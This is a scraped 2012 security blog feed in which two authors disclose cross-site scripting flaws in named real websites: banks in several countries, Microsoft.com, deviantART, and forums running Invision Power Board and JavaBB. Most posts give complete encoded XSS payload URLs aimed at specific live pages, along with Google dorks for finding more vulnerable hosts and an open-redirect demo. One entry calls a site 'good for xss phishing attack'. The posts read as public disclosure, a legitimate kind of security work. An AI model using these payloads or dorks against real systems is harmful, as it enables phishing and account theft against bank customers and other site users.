src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEghFu5nDI_80hw_tnJ55vZLwfVbDunlkpvVDJGeyzZTngVH_cXCucuVUS6dUBEpk-An8NEPUOVYzZfhaiftWZ2eONaMO9Kvs7S9XkcXsMdKZuJ-tKXZeK6-ONwfOQS1qFXMRhIfn1ncbuXS/s400/go.JPG" /></a></div><br /> <div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgQeAi-zwA37XCdj9tQaaBD6Ybg105v1AVxdnwJGKjiabcITo7m7BdW3O8hBKn9gimWEIS6MUrZVmB_kfjlk4kinO7ld8sW4h7cIEPTI6irTCCEnd9BwK7VQLR3VhUxWdjMGI_ha3-o30mZ/s1600/goha.JPG" imageanchor="1" style="margin-left:1em; margin-right:1em"><img border="0" height="300" width="400" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgQeAi-zwA37XCdj9tQaaBD6Ybg105v1AVxdnwJGKjiabcITo7m7BdW3O8hBKn9gimWEIS6MUrZVmB_kfjlk4kinO7ld8sW4h7cIEPTI6irTCCEnd9BwK7VQLR3VhUxWdjMGI_ha3-o30mZ/s400/goha.JPG" /></a></div><br /> <br /> <b>And..<br /> <br /> Today i saw one clip by .e0f, it's too about vBulletin:<br /> <br /> http://vimeo.com/39049790<br /> <br /> Method is very interesting. It's not in "url".<br /> <br /> We can see is here:<br /> <br /> http://www.1337day.com/exploits/17824?utm_source=dlvr.it&utm_medium=twitter<br /> </b><br /> <br /> <iframe src="http://player.vimeo.com/video/39049790?title=0&amp;byline=0&amp;portrait=0" width="400" height="225" frameborder="0" webkitAllowFullScreen mozallowfullscreen allowFullScreen></iframe><p><a href="http://vimeo.com/39049790">vBulletin 4.1.10 XSS Vulnerability 2x</a> from <a href="http://vimeo.com/user10972566">root and toor</a> on <a href="http://vimeo.com">Vimeo</a>.</p>Sonyhttp://www.blogger.com/profile/07357857456568656987noreply@blogger.com0tag:blogger.com,1999:blog-791799492554981317.post-83482636567715644742012-03-24T06:04:00.014-10:002012-03-24T23:30:22.669-10:00Invision Power Board 3.1.x -3.2.x Cross Site Scripting<b># Exploit Title: Invision Power Board 3.1.x -3.2.x Cross Site Scripting<br /> # Date: 24.03.2012<br /> # Author: Flexxpoint and Sony<br /> # Software Link: http://www.invisionpower.com/products/board/<br /> # Web Browser : Mozilla Firefox<br /> # Blog Flexxpoint : http://flexxpoint.blogspot.com/<br /> # Blog Sony : http://st2tea.blogspot.com/<br /> # Site : http://insecurity.ro<br /> ..................................................................<br /> <br /> Well, we have an interesting xss in Invision Power Board. But i can not say which versions 100% may be vulnerable.<br /> <br /> Personal Messenger-->Compose New-Other Recipients=our xss code. Press Button Preview or Send Message.<br /> <br /> Webmoney. </b><br /> <br /> http://forum.webmoney.ru/<br /> <br /> http://forum.webmoney.ru/index.php?app=members&module=messaging&section=send&do=send<br /> <br /> <div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgR-ptOMEz_s03cQNAggWVNLYO46attHNynzQz_vVKV3Iwq2QjLxEPW7aSnlmeXcrwRSjqxoqL_hMEGMDiqBtJPsNgt6I9U912fQ3Alp1rnnP1Hh4Hw6HyAaYBliBvGQbmpo_Msw7bXLWua/s1600/webmoney.JPG" imageanchor="1" style="margin-left:1em; margin-right:1em"><img border="0" height="300" width="400" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgR-ptOMEz_s03cQNAggWVNLYO46attHNynzQz_vVKV3Iwq2QjLxEPW7aSnlmeXcrwRSjqxoqL_hMEGMDiqBtJPsNgt6I9U912fQ3Alp1rnnP1Hh4Hw6HyAaYBliBvGQbmpo_Msw7bXLWua/s400/webmoney.JPG" /></a></div><br /> <b>DrWeb.</b><br /> <br /> http://forum.drweb.com/index.php?<br /> <br /> http://forum.drweb.com/index.php?app=members&module=messaging&section=send&do=send<br /> <br /> http://forum.drweb.com/index.php?app=members&module=messaging<br /> <br /> <div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjfUMu1KGe1tlbb5ZT0AdCK_XYUEZbj4iHDYOMQUbz2QSp4IKxKjTRD6M6JDHA3BIRbdE8dH_Y5YSuohSxABQDRuQwlasaXTJFjF8Irgug5RPNDIbSubvTbPRjM-92p4ASQAeZCV6Nv4VQg/s1600/drweb.JPG" imageanchor="1" style="margin-left:1em; margin-right:1em"><img border="0" height="300" width="400" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjfUMu1KGe1tlbb5ZT0AdCK_XYUEZbj4iHDYOMQUbz2QSp4IKxKjTRD6M6JDHA3BIRbdE8dH_Y5YSuohSxABQDRuQwlasaXTJFjF8Irgug5RPNDIbSubvTbPRjM-92p4ASQAeZCV6Nv4VQg/s400/drweb.JPG" /></a></div><br /> <br /> <div class="separator" style="clear: both; text-align: center;"><a href="http://img861.imageshack.us/img861/989/screenshot2532012.png" imageanchor="1" style="margin-left:1em; margin-right:1em"><img border="0" height="683" width="864" src="http://img861.imageshack.us/img861/989/screenshot2532012.png" /></a></div><br /> <div class="separator" style="clear: both; text-align: center;"><a href="http://img718.imageshack.us/img718/989/screenshot2532012.png" imageanchor="1" style="margin-left:1em; margin-right:1em"><img border="0" height="673" width="849" src="http://img718.imageshack.us/img718/989/screenshot2532012.png" /></a></div><br /> <br /> <br /> <br /> <b>This is just another XSS hole that was fixed from Invision Power on 14.03.2012 but still exist in dr.Web's forum because they just used a un-patched software at the moment of writing on this post.</b><br /> <br /> <br /> <b>Pcworld.com<br /> (IP.Board 3.1.4) <br /> </b><br /> http://forums.pcworld.com/index.php?app=members&module=messaging&section=send&do=send<br /> <br /> <div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgnURnAg-eTVvPPj6WX0L0HwE_jmWMJwoLYduVf2AAoQF4EQ_Q8zQTQro7v_d4kQhbrahLLJzqXt2Jpcq4_GDkKQ7Klh1twqpXtlQ9HkEu-JC1S_lIh8Np1XDjVu2BwvzqnfBxC-cgyHkn8/s1600/pcworld.JPG" imageanchor="1" style="margin-left:1em; margin-right:1em"><img border="0" height="300" width="400" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgnURnAg-eTVvPPj6WX0L0HwE_jmWMJwoLYduVf2AAoQF4EQ_Q8zQTQro7v_d4kQhbrahLLJzqXt2Jpcq4_GDkKQ7Klh1twqpXtlQ9HkEu-JC1S_lIh8Np1XDjVu2BwvzqnfBxC-cgyHkn8/s400/pcworld.JPG" /></a></div><br /> <b>Governmentsecurity.org<br /> </b><br /> http://www.governmentsecurity.org/forum/index.php?app=members&module=messaging&section=send&do=send<br /> <br /> <div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjDW_vH09lhNMuafnq7q9pRXejRaAqGmFU-mXvjbYaI5ce8zlpcj16ldW0X_V9GF11QerPzkQC0diNdu82ki82OqiP6P3IQexFdGY7-AKj9bBuceox-BFk2V8_-m79pi8S5puqT1apSFGlN/s1600/sec.JPG" imageanchor="1" style="margin-left:1em; margin-right:1em"><img border="0" height="300" width="400" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjDW_vH09lhNMuafnq7q9pRXejRaAqGmFU-mXvjbYaI5ce8zlpcj16ldW0X_V9GF11QerPzkQC0diNdu82ki82OqiP6P3IQexFdGY7-AKj9bBuceox-BFk2V8_-m79pi8S5puqT1apSFGlN/s400/sec.JPG" /></a></div><br /> <b>etc..a lot of web sites..<br /> <br /> This is not a critical bug,but it's a bug....</b>Sonyhttp://www.blogger.com/profile/07357857456568656987noreply@blogger.com0tag:blogger.com,1999:blog-791799492554981317.post-20866618083446567012012-03-21T11:17:00.011-10:002012-03-22T07:29:35.462-10:00Various Banks Cross Site Scripting<b># Title: Various Banks Cross Site Scripting<br /> # Author: Sony and Flexxpoint<br /> # Data: 21.03.2012<br /> # Sony Blog: http://st2tea.blogspot.com<br /> # Flexxpoint Blog : http://flexxpoint.blogspot.com/<br /> # Site: http://insecurity.ro</b><br /> <br /> <b>We staged an experiment out of interest. We looked through several randomly selected websites of Worlds banks to check them for vulnerabilities. This was done rather quick even without any specialized software. The results were not surprising. We will demonstrate different bugs of the same type.<br /> <br /> Demo:</b><br /> <br /> http://www.banki.ru/bitrix/rku.php?id=829&goto=http://insecurity.ro<br /> <br /> <b>Good redirect in bitrix:<br /> <br /> inurl:bitrix/rk.php</b><br /> <br /> <br /> <b>http://www.citizensbank.com/ <br /> (U.S.)<br /> <br /> Simple (in the Search)</b><br /> <br /> http://www.citizensbank.com/search/?query=Secure%20Plan%22%22%3E%3Cscript%3Ealert%28%22Cross%20Site%20Scripting%22%29%3C/script%3E<br /> <br /> <div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhBN1S1i2to-tmEGHPkXuzHMlcrVg0Eo5yiZdyVB8KKuQdCjw4gi_u2GJBfePofhaFjlAZ84-rny0B2MNLprZJHM08_cJqLmyC9KfPNypv5k0V9-FAG_B7tcVY3poeiXiTOpyjxzhAkxfSa/s1600/citiz.JPG" imageanchor="1" style="margin-left:1em; margin-right:1em"><img border="0" height="300" width="400" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhBN1S1i2to-tmEGHPkXuzHMlcrVg0Eo5yiZdyVB8KKuQdCjw4gi_u2GJBfePofhaFjlAZ84-rny0B2MNLprZJHM08_cJqLmyC9KfPNypv5k0V9-FAG_B7tcVY3poeiXiTOpyjxzhAkxfSa/s400/citiz.JPG" /></a></div><br /> <br /> <b>https://www.wellsfargo.com/<br /> (U.S.)<br /> <br /> http://codepad.org/inXkWxYw</b><br /> <br /> <div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhHMqEAm_I7_V4b8VDByHFZhU3REhT5rYpPnNyiAWndSLSiKKJFMQrTgAdgO1cH3lptzZPifQZtd0X6T5Wr0GnXR4FjB1Cbi3YqV4iEShnKSRBgHFO1BjLLS2wnroj9aCfLNaFQRFJ00D8t/s1600/well.JPG" imageanchor="1" style="margin-left:1em; margin-right:1em"><img border="0" height="300" width="400" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhHMqEAm_I7_V4b8VDByHFZhU3REhT5rYpPnNyiAWndSLSiKKJFMQrTgAdgO1cH3lptzZPifQZtd0X6T5Wr0GnXR4FjB1Cbi3YqV4iEShnKSRBgHFO1BjLLS2wnroj9aCfLNaFQRFJ00D8t/s400/well.JPG" /></a></div><br /> <br /> <b>http://www.eximb.com<br /> (Ukraine)</b><br /> <br /> http://www.eximb.com/rus/personal/everyday/internet_banking/?f=%27;alert%28String.fromCharCode%2888,83,83%29%29//\%27;alert%28String.fromCharCode%2888,83,83%29%29//%22;alert%28String.fromCharCode%2888,83,83%29%29//\%22;alert%28String.fromCharCode%2888,83,83%29%29//--%3E%3C/SCRIPT%3E%22%3E%27%3E%3CSCRIPT%3Ealert%28String.fromCharCode%2888,83,83%29%29%3C/SCRIPT%3E<br /> <br /> <div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgxLFL9Tw4KILUyq9lkb_DOlpmyBmiecKhMr_6evPk7BmGSprzdA5KzZf0Lf_aZZ930ND0PMX3VZN9Ss2WklJ44om8-vHPSe9nyVmR1RrsbWxKSGQ4af291vg5ZccQCaWqup0ydtRV75OBT/s1600/ukr.JPG" imageanchor="1" style="margin-left:1em; margin-right:1em"><img border="0" height="300" width="400" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgxLFL9Tw4KILUyq9lkb_DOlpmyBmiecKhMr_6evPk7BmGSprzdA5KzZf0Lf_aZZ930ND0PMX3VZN9Ss2WklJ44om8-vHPSe9nyVmR1RrsbWxKSGQ4af291vg5ZccQCaWqup0ydtRV75OBT/s400/ukr.JPG" /></a></div><br /> <br /> <b>http://procreditbank.bg/main/bg/index.php<br /> (Bulgaria)</b><br /> <br /> https://probanking.procreditbank.bg/regist/default.asp?password2=%22%3E%22%3E%3C/script%3E%3Cscript%3Eeval%28String.fromCharCode%2897,108,101,114,116,40,39,120,115,115,39,41%29%29%3C/script%3E<br /> <br /> <div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjuzBCkQ8NS5jqw69Z8ttqh15ssx2M7IqnOww0ji8TcdHUZtc3EQ4Pg5j9HHQ1CVwBGDBlZlgolZcINtUawbtzL2kk4AvkmmKxhr-XCvVqG8WSC8pXsQxfTYoiSpyfCPGAhfJXpBASdEhGF/s1600/bg.JPG" imageanchor="1" style="margin-left:1em; margin-right:1em"><img border="0" height="300" width="400" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjuzBCkQ8NS5jqw69Z8ttqh15ssx2M7IqnOww0ji8TcdHUZtc3EQ4Pg5j9HHQ1CVwBGDBlZlgolZcINtUawbtzL2kk4AvkmmKxhr-XCvVqG8WSC8pXsQxfTYoiSpyfCPGAhfJXpBASdEhGF/s400/bg.JPG" /></a></div><br /> http://www.sbrf.ru<br /> (Russia)<br /> <br /> http://www.sbrf.ru/moscow/ru/quotes/metals/timeline/index.php?qid190=1%22%3E%22%3E%3C/script%3E%3Cscript%3Eeval%28String.fromCharCode%2897,108,101,114,116,40,39,120,115,115,39,41%29%29%3C/script%3E<br /> <br /> <div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhPy_W2bWNircE0a2ZBG1uMWfe2O8lFxoqj_B6Jg-ROJ8fCj8XaNeBjP8bRAGIPCjaPTT3Ve_nNspdAS88t1sR1AH9yexLaJpdaavk1AvKHqDFrXEtJD4basr5lEo5nDxNurhvWZ80_0sAw/s1600/sberbank.JPG" imageanchor="1" style="margin-left:1em; margin-right:1em"><img border="0" height="300" width="400" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhPy_W2bWNircE0a2ZBG1uMWfe2O8lFxoqj_B6Jg-ROJ8fCj8XaNeBjP8bRAGIPCjaPTT3Ve_nNspdAS88t1sR1AH9yexLaJpdaavk1AvKHqDFrXEtJD4basr5lEo5nDxNurhvWZ80_0sAw/s400/sberbank.JPG" /></a></div><br /> <br /> <br /> <b>http://www.vtb24.ru<br /> (Russia)</b><br /> <br /> http://www.vtb24.ru/news/Pages/nizhnij-tagil.aspx?year=2012&category=%3C/script%3E%3Cscript%3Ealert%28%22Cross%20Site%20Scripting%22%29%3C/script%3E<br /> <br /> <div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgKxblCxWDwzmFwsnaOMsxIRhhwiZ4S_QstJDWSYdP-foq-4Z2gWMm4-1ujQTGS9o2qaH1vBIznHQelwTJL2gS9fPeWPz-rD-BCkVqVNYcUV31nDyZ60Xp8LuZNw8oVDYFsgWgyDbDeIiu2/s1600/vtb24.JPG" imageanchor="1" style="margin-left:1em; margin-right:1em"><img border="0" height="300" width="400" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgKxblCxWDwzmFwsnaOMsxIRhhwiZ4S_QstJDWSYdP-foq-4Z2gWMm4-1ujQTGS9o2qaH1vBIznHQelwTJL2gS9fPeWPz-rD-BCkVqVNYcUV31nDyZ60Xp8LuZNw8oVDYFsgWgyDbDeIiu2/s400/vtb24.JPG" /></a></div><br /> <b>http://www.homecredit.ru/<br /> (Russia)<br /> <br /> https://online.homecredit.ru/ChatApp/login.jsp<br /> <br /> or..<br /> <br /> https://online.homecredit.ru/ChatApp/Chat/HtmlChatFrameSet.jsp<br /> <br /> We have a html code injection in the chat.</b><br /> <br /> <div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhV7qv1SHkyM1Fehq58VLzwUDRZjLrvJkDUQGbfzQJrJFj5-1G5TDcrZq1SgRRidnoGS46JsXUuPZwvmZ81aVloiBfDfK5ByD55QOG6tpKNKwYvXvTGr1i1xP7r1JVKH_PaotpDc2PspEeB/s1600/%25D1%2585%25D0%25BE%25D1%2583%25D0%25BC%25D0%25BA%25D1%2580%25D0%25B5%25D0%25B4%25D0%25B8%25D1%2582.JPG" imageanchor="1" style="margin-left:1em; margin-right:1em"><img border="0" height="300" width="400" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhV7qv1SHkyM1Fehq58VLzwUDRZjLrvJkDUQGbfzQJrJFj5-1G5TDcrZq1SgRRidnoGS46JsXUuPZwvmZ81aVloiBfDfK5ByD55QOG6tpKNKwYvXvTGr1i1xP7r1JVKH_PaotpDc2PspEeB/s400/%25D1%2585%25D0%25BE%25D1%2583%25D0%25BC%25D0%25BA%25D1%2580%25D0%25B5%25D0%25B4%25D0%25B8%25D1%2582.JPG" /></a></div><br /> <b>http://www.mastercardpremium.ru<br /> (Russia, but not a official site, but good for xss phishing attack)<br /> <br /> Simple.</b><br /> <br /> http://www.mastercardpremium.ru/search?phrase=%3Cscript%3Ealert%28%22XSS%22%29%3C/script%3E<br /> <br /> <div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgafyzZE2j3VHojBt2dpRyisCFkfqMsanhxHAC29YwlOsKsOjBo6ALaxugRNWFYgvs_ljZXRdtUnJoYNjCHFaVKXS0g35jP7xy4LJM60pPbzm7A2ZlpLw2aRuUWxJ4fg0308yFVi2Ipiiqh/s1600/master.JPG" imageanchor="1" style="margin-left:1em; margin-right:1em"><img border="0" height="300" width="400" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgafyzZE2j3VHojBt2dpRyisCFkfqMsanhxHAC29YwlOsKsOjBo6ALaxugRNWFYgvs_ljZXRdtUnJoYNjCHFaVKXS0g35jP7xy4LJM60pPbzm7A2ZlpLw2aRuUWxJ4fg0308yFVi2Ipiiqh/s400/master.JPG" /></a></div><br /> <br /> <b>http://www.raiffeisen.ch/web/home_de<br /> (Switzerland)</b><br /> <br /> http://www.raiffeisen.ch/raiffeisen/internet/rb0027.nsf/fAskForDeletionFile?ReadForm&File=%22%3E%22%3E%3C/script%3E%3Cscript%3Eeval%28String.fromCharCode%2897,108,101,114,116,40,39,120,115,115,39,41%29%29%3C/script%3E<br /> <br /> <div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgZZqVL0POdwlRCOsb9CI8o4Y2dyelKWoXwnsMh_FRovRfDlrW-LNoY0lWL2FqkBPNRwJ77_k3_YdJDYdaFX-nJuvEBousmg9XIp_eBFLMCxFuKP56ULa_TJv6i2ct2fxk8O3nVxM9Zr3Mv/s1600/1a.JPG" imageanchor="1" style="margin-left:1em; margin-right:1em"><img border="0" height="300" width="400" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgZZqVL0POdwlRCOsb9CI8o4Y2dyelKWoXwnsMh_FRovRfDlrW-LNoY0lWL2FqkBPNRwJ77_k3_YdJDYdaFX-nJuvEBousmg9XIp_eBFLMCxFuKP56ULa_TJv6i2ct2fxk8O3nVxM9Zr3Mv/s400/1a.JPG" /></a></div><br /> <br /> <br /> http://boerse.raiffeisen.ch/raiffeisen2/listings/intraday.jsp?listing=998089,4,1&name=SM%22%3E%22%3E%3C/script%3E%3Cscript%3Eeval%28String.fromCharCode%2897,108,101,114,116,40,39,120,115,115,39,41%29%29%3C/script%3E<br /> <br /> <div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhJuf80vZ-cC74FJBxXXToEEd5e_9LG32YuiNtomsITjbAAHM2X1HoPvU0V3yfgQUT8FlRtbVdoSc_EJm8IgAR0M8AENSY8mouqNdZSpPoncgV2qtOzLgcF5XkB7w8XdoVrxiqWDeno5CT2/s1600/2a.JPG" imageanchor="1" style="margin-left:1em; margin-right:1em"><img border="0" height="300" width="400" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhJuf80vZ-cC74FJBxXXToEEd5e_9LG32YuiNtomsITjbAAHM2X1HoPvU0V3yfgQUT8FlRtbVdoSc_EJm8IgAR0M8AENSY8mouqNdZSpPoncgV2qtOzLgcF5XkB7w8XdoVrxiqWDeno5CT2/s400/2a.JPG" /></a></div><br /> <br /> <br /> <b>http://www.uwcfs.com/<br /> (Czech Republic)<br /> <br /> XSS in Chat. And we can see:<br /> <br /> http://www1.migbank.com/<br /> <br /> https://www.msufcu.org/<br /> <br /> Google Dorks: inurl:/phplive/message_box.php?theme=<br /> <br /> 1 bug = a lot of web sites.</b>.<br /> <br /> https://secure.moneypolo.cz/phplive/message_box.php?theme=&l=admin&x=1&deptid=1%22%22%3E%3Cscript%3Ealert%28%22Cross%20Site%20Scripting%22%29%3C/script%3E<br /> <br /> <div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhEzLR9r44hDfXTguL25ovVAf8wYBOkMFBGmeBytPtczv-G_cKDO1e00YgX3FCHmMvXuJwfkwoR1RDUVUmEYYi3y-tDWvnHm7MiN6ibxRJerfoBNGe3CwEfXIm6l2r3BjvrzaLjChJm_W8M/s1600/internetbank.JPG" imageanchor="1" style="margin-left:1em; margin-right:1em"><img border="0" height="300" width="400" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhEzLR9r44hDfXTguL25ovVAf8wYBOkMFBGmeBytPtczv-G_cKDO1e00YgX3FCHmMvXuJwfkwoR1RDUVUmEYYi3y-tDWvnHm7MiN6ibxRJerfoBNGe3CwEfXIm6l2r3BjvrzaLjChJm_W8M/s400/internetbank.JPG" /></a><br /> </div><br /> <br /> <b>http://www.bcb.gob.bo/index.php<br /> (Bolivia)<br /> (but work only on old IE versions,and IE related browsers-Maxton,Green..etc)</b><br /> <br /> http://www.bcb.gob.bo/index.php?q=%22%20stYle=%22x:expre/**/ssion%28alert%28/XSS/.source%29%29%20&combos1_1=1&combos1_2=1&combos1_3=1&combos1_4=1&combos1_5=1&combos1_6=1&combos1_7=1&combos1_8=1&combos1_9=1&subcateg1=1&Submit=Buscar<br /> <br /> <div class="separator" style="clear: both; text-align: center;"><a href="http://img29.imageshack.us/img29/4543/screenshot2232012.png" imageanchor="1" style="margin-left:1em; margin-right:1em"><img border="0" height="722" width="811" src="http://img29.imageshack.us/img29/4543/screenshot2232012.png" /></a></div><br /> <div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi8w5NWOVuDwEqeCitIa2olLYYKa8KmkCUM_e4bgu8kP3a4aEUDF1UoCIuREoXnEuVEhZEqS4wGuxpFSKXreJvNxcjm05kR2C6qRCKXzUQHxVr-o-srhLyOGO4ELXGqm0HjSzHoW9e4paDY/s1600/bolivia.JPG" imageanchor="1" style="margin-left:1em; margin-right:1em"><img border="0" height="300" width="400" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi8w5NWOVuDwEqeCitIa2olLYYKa8KmkCUM_e4bgu8kP3a4aEUDF1UoCIuREoXnEuVEhZEqS4wGuxpFSKXreJvNxcjm05kR2C6qRCKXzUQHxVr-o-srhLyOGO4ELXGqm0HjSzHoW9e4paDY/s400/bolivia.JPG" /></a></div><br /> <br /> <br /> <b>We would like to add a few words about security. There's no need to panic, perfect security just isn't possible, though we should try to come as close as possible. We would like to give a couple of advices for these banks. They should certainly pay more attention to their IT personnel's competence and discipline, spend their money not only on market research, but also on penetration testing, organize penetration testers' contests like Google and Facebook do or possible have their own staff of penetration testers. The bank personnel should be tested for their vulnerability to social engineering. These are just the basics.</b>Sonyhttp://www.blogger.com/profile/07357857456568656987noreply@blogger.com2tag:blogger.com,1999:blog-791799492554981317.post-81697747609588820832012-03-20T00:30:00.001-10:002012-03-20T00:31:15.070-10:00devianART Cross Site Scripting<b>Simple.<br /> <br /> http://verify.deviantart.com/update<br /> <br /> Email Address: our xss code.</b><br /> <br /> <div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjwRp501Dku_3Fd2rkEuyMvpOPIiQppdvXl0hYKWSuqQfbZFTjjOYUZAmFkgt4WjCrfCdcnGKCp3VQ7-96432cNEekqMESmT7ygnLhtArYNARkIImr_lG0zXy1aeVmuLHTwT1XbcIyRuWyM/s1600/devian.JPG" imageanchor="1" style="margin-left:1em; margin-right:1em"><img border="0" height="300" width="400" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjwRp501Dku_3Fd2rkEuyMvpOPIiQppdvXl0hYKWSuqQfbZFTjjOYUZAmFkgt4WjCrfCdcnGKCp3VQ7-96432cNEekqMESmT7ygnLhtArYNARkIImr_lG0zXy1aeVmuLHTwT1XbcIyRuWyM/s400/devian.JPG" /></a></div>Sonyhttp://www.blogger.com/profile/07357857456568656987noreply@blogger.com0tag:blogger.com,1999:blog-791799492554981317.post-28528004118502349562012-03-19T05:43:00.001-10:002012-03-19T05:49:09.633-10:00Microsoft.com Cross Site Scripting<b># Date: 19.03.2012<br /> # Author: Sony and Flexxpoint<br /> # Web Browser : Mozilla Firefox<br /> # Sony Blog: http://st2tea.blogspot.com<br /> # Flexxpoint Blog: http://flexxpoint.blogspot.com/<br /> ..................................................................</b><br /> <br /> <b>For Ryuzaki Lawlet:</b><br /> <br /> <br /> <div class="separator" style="clear: both; text-align: center;"><a href="http://s.rimg.info/dd4118cdca0289ab90bcc951bc3f1c72.gif" imageanchor="1" style="margin-left:1em; margin-right:1em"><img border="0" height="30" width="35" src="http://s.rimg.info/dd4118cdca0289ab90bcc951bc3f1c72.gif" /></a></div><br /> http://packetstormsecurity.org/files/110597/Microsoft.com-Cross-Site-Scripting.html<br /> <br /> Demo:<br /> <br /> http://www.microsoft.com/windowsphone/en-us/buy/7/compare.aspx?devices=%22%22%3E%3Cscript%3Ealert%28%22XSS%20by%20Sony%20and%20Flexxpoint%22%29%3C/script%3E%3Cscript%3Ealert%28%22Oh..%22%29%3C/script%3E%3Cscript%3Ealert%28%22Uh..%22%29%3C/script%3E%3Cscript%3Ealert%28%22wow..%22%29%3C/script%3E%3Cscript%3Ealert%28%22Microsoft.com%20Cross%20Site%20Scripting%22%29%3C/script%3E%3Cscript%3Ealert%28%22meow!%22%29%3C/script%3E%3Ciframe%20width=%22420%22%20height=%22315%22%20src=%22http://www.youtube.com/embed/SLcBI3JUKZ4%22%20frameborder=%220%22%20allowfullscreen%3E%3C/iframe%3E<br /> <br /> <br /> <div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEifQsdgqnolU83auXNZeKI4fAghgZ2N7gdEIKg1lJUjIxWBy92nC4nYKI-kypPBxXaIlGOAK5AANQ0og3NWE7piMOSd77_SlDzj-j21lBvO2mQ5iG5XozEahp9mQ979KwcppcFS1waz2Mgl/s1600/microsoft.JPG" imageanchor="1" style="margin-left:1em; margin-right:1em"><img border="0" height="300" width="400" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEifQsdgqnolU83auXNZeKI4fAghgZ2N7gdEIKg1lJUjIxWBy92nC4nYKI-kypPBxXaIlGOAK5AANQ0og3NWE7piMOSd77_SlDzj-j21lBvO2mQ5iG5XozEahp9mQ979KwcppcFS1waz2Mgl/s400/microsoft.JPG" /></a></div><br /> <iframe width="420" height="315" src="http://www.youtube.com/embed/4kJL2Rt-FKo" frameborder="0" allowfullscreen></iframe>Sonyhttp://www.blogger.com/profile/07357857456568656987noreply@blogger.com0tag:blogger.com,1999:blog-791799492554981317.post-36574668150868080452012-03-18T04:32:00.002-10:002012-03-18T04:33:57.878-10:00JavaBB 0.99 Cross Site Scripting<b># Exploit Title: JavaBB 0.99 Cross Site Scripting<br /> # Date: 18.03.2012<br /> # Author: Sony<br /> # Software Link: http://www.javabb.org/<br /> # Web Browser : Mozilla Firefox<br /> # Site : http://insecurity.ro<br /> # PoC:<br /> http://st2tea.blogspot.com/2012/03/javabb-099-cross-site-scripting.html<br /> ..................................................................</b><br /> <br /> <b>Well, we have a cross site scripting in JavaBB 0.99<br /> <br /> Demo:<br /> </b><br /> <br /> http://javafree.uol.com.br/pm.externalSend.jbb?userId=42888&username=teapro%27;alert%28String.fromCharCode%2888,83,83%29%29//\%27;alert%28String.fromCharCode%2888,83,83%29%29//%22;alert%28String.fromCharCode%2888,83,83%29%29//\%22;alert%28String.fromCharCode%2888,83,83%29%29//--%3E%3C/SCRIPT%3E%22%3E%27%3E%3CSCRIPT%3Ealert%28String.fromCharCode%2888,83,83%29%29%3C/SCRIPT%3E<br /> <br /> <div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjJ8bH-S5ZNFNUTxvHQxka4qlJtOB8UzoGcziKycLMeO4gxOdFajiBubx2k2J9rFfYr9cGZ6dxaGlJgi84AvqbL6iTYjZeBk09L2HfdHiBTiyoS2pzV9Pc9xT8XCii1HSrMG1qV5-Tk0h5E/s1600/javabb.JPG" imageanchor="1" style="margin-left:1em; margin-right:1em"><img border="0" height="300" width="400" 